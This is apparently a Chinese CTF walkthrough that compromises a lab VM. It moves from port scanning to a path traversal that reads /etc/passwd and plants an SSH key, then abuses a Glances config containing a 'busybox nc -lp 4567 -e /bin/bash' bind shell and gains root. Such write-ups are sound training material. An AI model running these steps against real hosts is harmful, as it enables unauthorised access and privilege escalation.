一、信息收集

1.1 主机发现与端口扫描

首先,在VMware NAT网络环境下,使用arp-scan进行主机发现,确定目标靶机的IP地址。

┌──(kali㉿kali)-[~]
└─$ sudo arp-scan -l
...
192.168.205.156 08:00:27:f9:af:5d       PCS Systemtechnik GmbH
...

发现目标主机IP为 192.168.205.156

接着,使用nmap对目标主机进行全端口扫描,以识别所有开放的服务。

┌──(kali㉿kali)-[~]
└─$ nmap -p0-65535 192.168.205.156
...
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1045/tcp  open  fpitp
MAC Address: 08:00:27:F9:AF:5D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

扫描结果显示,目标开放了多个端口,包括SSH(22)、HTTP(80)、SMB(139, 445)服务,以及一个非常规的1045端口。

1.2 服务版本探测

对非标准端口1045进行详细的服务版本探测和脚本扫描,以了解其运行的应用。

┌──(kali㉿kali)-[~]
└─$ nmap -p1045 -sC -sV 192.168.205.156
...
PORT     STATE SERVICE VERSION
1045/tcp open  http    Werkzeug httpd 3.1.3 (Python 3.9.2)
|_http-server-header: Werkzeug/3.1.3 Python/3.9.2
|_http-title: 404 Not Found

1045端口上运行的是一个基于Python Werkzeug的HTTP服务。直接访问时返回404,这表明我们需要寻找正确的API路径或Web端点。

1.3 SMB信息枚举

由于目标开放了SMB服务,使用enum4linux-ng进行详细枚举,寻找可利用的信息,如共享目录和匿名访问权限。

┌──(kali㉿kali)-[~]
└─$ enum4linux-ng -A 192.168.205.156
...
 =========================================
|    Shares via RPC on 192.168.205.156    |
 =========================================
[*] Enumerating shares
[+] Found 3 share(s):
...
user_files:
  comment: User Files Share
  type: Disk
...
[*] Testing share user_files
[+] Mapping: OK, Listing: OK

枚举发现了一个名为 user_files 的共享目录,并且允许匿名访问和列出文件。尝试连接后发现目录为空,暂时没有发现可利用的文件。

二、Web服务渗透与漏洞利用

2.1 Web信息探索

访问80端口的HTTP服务,发现是一个“名字Gay指数计算器”的Web应用。查看网页源代码,发现一个注释提示,这可能是后续认证的关键凭证。

<!-- xixilake-session-secure-2025 -->

这个注释 xixilake-session-secure-2025 看起来像一个密钥或Session令牌,我们将其记录下来以备后用。

2.2 API接口探索与突破

转向1045端口的Web服务,对其进行目录爆破发现了/api路径,并进一步在/api下找到了/api/health端点。访问该端点获取了API的结构信息,其中最关键的是指明了用于文件操作的路径:/api/files/

┌──(kali㉿kali)-[~]
└─$ curl http://192.168.205.156:1045/api/health
{"available_endpoints":{"/api":"API information","/api/files/":"File operations",...}}

结合之前发现的令牌,我们推断它可能用作X-Session-Token头进行身份认证。首先,在本地创建一个包含SSH公钥的文件authorized_keys,然后尝试利用此令牌上传该文件。

┌──(kali㉿kali)-[~]
└─$ curl -X PUT -H "X-Session-Token: xixilake-session-secure-2025" -T authorized_keys http://192.168.205.156:1045/api/files/authorized_keys
{"message":"File authorized_keys uploaded successfully"}

上传成功!这确认了我们拥有通过API向服务器特定目录写入文件的能力。

2.3 路径遍历漏洞的发现与利用

既然可以操作文件,下一步就是测试是否存在路径遍历(Path Traversal)漏洞。我们尝试通过构造 ../ 序列来读取位于Web目录之外的 /etc/passwd 文件。

┌──(kali㉿kali)-[~]
└─$ curl --path-as-is 'http://192.168.205.156:1045/api/files/../../../etc/passwd' -H "X-Session-Token: xixilake-session-secure-2025"
root:x:0:0:root:/root:/bin/bash
...
ll:x:1001:1001::/home/ll:/bin/bash

成功读取!这证明了漏洞的存在,并且我们可以通过此漏洞获取一个名为ll的用户信息。

技术剖析:客户端路径规范化与--path-as-is的重要性

在这里,--path-as-is标志是本次漏洞利用成功的决定性因素。若缺少此标志,无论是使用浏览器还是默认的curl命令,攻击都会失败。其根本原因在于客户端路径规范化 (Client-Side Path Normalization)

  1. 为什么浏览器和默认curl会失败?
    当你在浏览器地址栏或标准的curl命令中输入包含 ../ 的URL时,客户端应用(浏览器或curl程序)会在发送HTTP请求之前,就“智能地”对路径进行清理和规范化。

    • 输入路径: /api/files/../../../etc/passwd
    • 客户端规范化后: /etc/passwd
      最终发送到服务器的请求路径是 /etc/passwd,这个路径不符合应用的API路由规则,因此无法触发漏洞,导致404错误。
  2. 为什么--path-as-is能够成功?
    此参数的作用是告诉curl关闭其默认的路径规范化功能。它会将URL中的路径部分 ../../../etc/passwd 原封不动地发送给服务器。由于服务端的Python应用代码存在缺陷,没有对接收到的路径进行安全处理,因此直接拼接并执行了文件操作,最终导致了目录遍历漏洞的成功利用。

利用此漏洞,我们使用MOVE方法将之前上传的authorized_keys文件移动到目标用户ll.ssh目录下。

┌──(kali㉿kali)-[~]
└─$ curl -X MOVE -H "X-Session-Token: xixilake-session-secure-2025" -H "Destination: ../../../home/ll/.ssh/authorized_keys" http://192.168.205.156:1045/api/files/authorized_keys
{"message":"File moved to ../../../home/ll/.ssh/authorized_keys"}

文件移动成功。现在我们可以通过SSH免密登录ll用户。

三、权限提升

3.1 获取初始Shell

利用已写入的SSH公钥,登录目标主机,获取低权限shell。

┌──(kali㉿kali)-[~]
└─$ ssh ll@192.168.205.156
...
ll@104567:~$ id
uid=1001(ll) gid=1001(ll) groups=1001(ll)

成功获取了ll用户的shell。

3.2 Sudo权限分析

检查当前用户的sudo权限,寻找提权线索。

ll@104567:~$ sudo -l
...
User ll may run the following commands on 104567:
    (ALL : ALL) NOPASSWD: /usr/bin/toilet

发现ll用户可以免密码以root权限执行/usr/bin/toilet命令,这个命令是兔子洞。

3.3 发现高权限服务:Glances

在目标主机上,使用ss -tnlp查看网络连接情况,寻找可能由高权限用户启动的、未被外网扫描发现的服务。

ll@104567:~$ ss -tnlp
State    Recv-Q   Send-Q     Local Address:Port      Peer Address:Port
...
LISTEN   0        128              0.0.0.0:61208          0.0.0.0:*
...

发现了一个新的61208端口正在监听。回到Kali,扫描该端口,确认其运行着一个Glances系统监控服务,并且通过目录扫描和访问/openapi.json,确认这是一个API版本为V4的Glances服务。

3.4 配置文件信息泄露与命令执行漏洞

根据API文档,/api/4/config端点存在信息泄露漏洞,可以读取Glances的配置文件。

┌──(kali㉿kali)-[~]
└─$ curl http://192.168.205.156:61208/api/4/config | jq
{
  "fs": {
    "warning": "80",
    "warning_action": "busybox nc -lp 4567 -e /bin/bash",
    "careful": "50",
    "critical": "90"
  },
...
}

配置文件中存在一个致命的配置项warning_action。当文件系统使用率达到80%时,由于Glances服务是以root权限运行的,系统会以root权限执行预设命令busybox nc -lp 4567 -e /bin/bash,从而开启一个监听在4567端口的绑定型shell。

3.5 触发漏洞并获取Root Shell

我们只需在目标机上创建一个大文件,使磁盘占用率超过80%即可触发该动作。根据主机信息,创建一个21G的文件足以触发。

ll用户的shell中执行:

ll@104567:~$ dd if=/dev/zero of=/tmp/bigfile bs=1G count=21
22548578304 bytes (23 GB, 21 GiB) copied...

文件创建完成后,立即从Kali连接目标机开启的4567端口。

┌──(kali㉿kali)-[~]
└─$ nc 192.168.205.156 4567
id
uid=0(root) gid=0(root) groups=0(root)

成功连接并获取了root shell。

四、获取Flag

在root shell中,读取所有flag文件。

cat /root/root.txt /home/ll/user.txt
flag{root-f526a6c9f285aa9d001a459b42ef3035}
flag{user-bc3c292e432690a9a0444bb46a559061}

成功获取所有Flag,渗透测试完成。